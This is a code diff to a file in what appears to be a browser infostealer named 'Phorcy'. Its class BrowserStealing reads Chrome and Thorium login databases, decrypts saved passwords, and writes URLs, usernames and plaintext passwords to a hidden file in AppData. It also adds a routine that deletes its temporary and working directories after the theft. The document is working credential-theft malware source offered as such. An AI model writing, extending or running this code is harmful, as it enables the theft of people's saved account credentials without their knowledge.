diff --git a/Utils/browser.js b/Utils/browser.js index a69bfa2..263436c 100644 --- a/Utils/browser.js +++ b/Utils/browser.js @@ -7,12 +7,14 @@ const path = require('path') class BrowserStealing { constructor() { + this.phorcyDir = path.join(os.homedir(), 'AppData', 'Roaming', 'Phorcy') this.browserPaths = [path.join(os.homedir(), 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), path.join(os.homedir(), 'AppData', 'Local', 'Thorium', 'User Data')] this.browserProfiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5'] this.password_command = 'SELECT action_url, username_value, password_value FROM logins'; //this.cookie_command = 'SELECT * FROM cookies'; this.tempDir = `${os.homedir()}\\AppData\\Local\\Temp`; this.tempDirCreated = `${this.tempDir}\\${Math.random().toString(36).substring(7)}`; + this.passwordFile = path.join(this.phorcyDir, 'browser_passwords.txt') //this.cookie_count = 0 this.password_count = 0 @@ -81,11 +83,21 @@ class BrowserStealing { this.password_count++; - return { - action_url: row.action_url ? row.action_url.toString() : '', - username_value: row.username_value ? row.username_value.toString() : '', - password_value: decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8').toString(), - }; + try { + const formattedContent = `+------------------------+\n| URL: ${row.action_url ? row.action_url.toString() : ''} |\n| Username: ${row.username_value ? row.username_value.toString() : ''} |\n| Password: ${decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8').toString()} |\n`; + + fs.writeFileSync(this.passwordFile, formattedContent, { flag: 'a' }); + + console.log(`Password written to file successfully.`); + } catch (err) { + console.error('Error writing password to file:', err); + } + + //return { + // action_url: row.action_url ? row.action_url.toString() : '', + // username_value: row.username_value ? row.username_value.toString() : '', + // password_value: decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8').toString(), + //}; } else { return { action_url: '', @@ -118,19 +130,44 @@ class BrowserStealing { }); } }); - //this.cleanUp() } - //cleanUp() { - // fs.rm(this.tempDirCreated, { recursive: true }, (error) => { - // if (error) { - // console.error('Error deleting temp directory:', error); - // } else { - // console.log('Temp Directory deleted successfully.'); - // } - // }); - //} + cleanUp() { + fs.rm(this.tempDirCreated, { recursive: true }, (error) => { + if (error) { + console.error('Error deleting temp directory:', error); + } else { + console.log('Temp Directory deleted successfully.'); + } + }); + + fs.rm(this.phorcyDir, { recursive: true }, (error) => { + if (error) { + console.error('Error deleting Phorcy directory:', error); + } else { + console.log('Phorcy Directory deleted successfully.'); + } + }); + } + + async prepare() { + try { + fs.mkdirSync(this.phorcyDir); + console.log('Phorcy Directory created successfully.'); + } catch (err) { + console.error('Error creating Phorcy directory:', err.message) + } + } + + async Main() { + await this.prepare(); + await this.getPasswords(); + setTimeout(function() { + console.log("Browser stealing complete. Cleaning."); + this.cleanUp(); + }.bind(this), 4000); + } } const browserStealer = new BrowserStealing(); -browserStealer.getPasswords() +browserStealer.Main();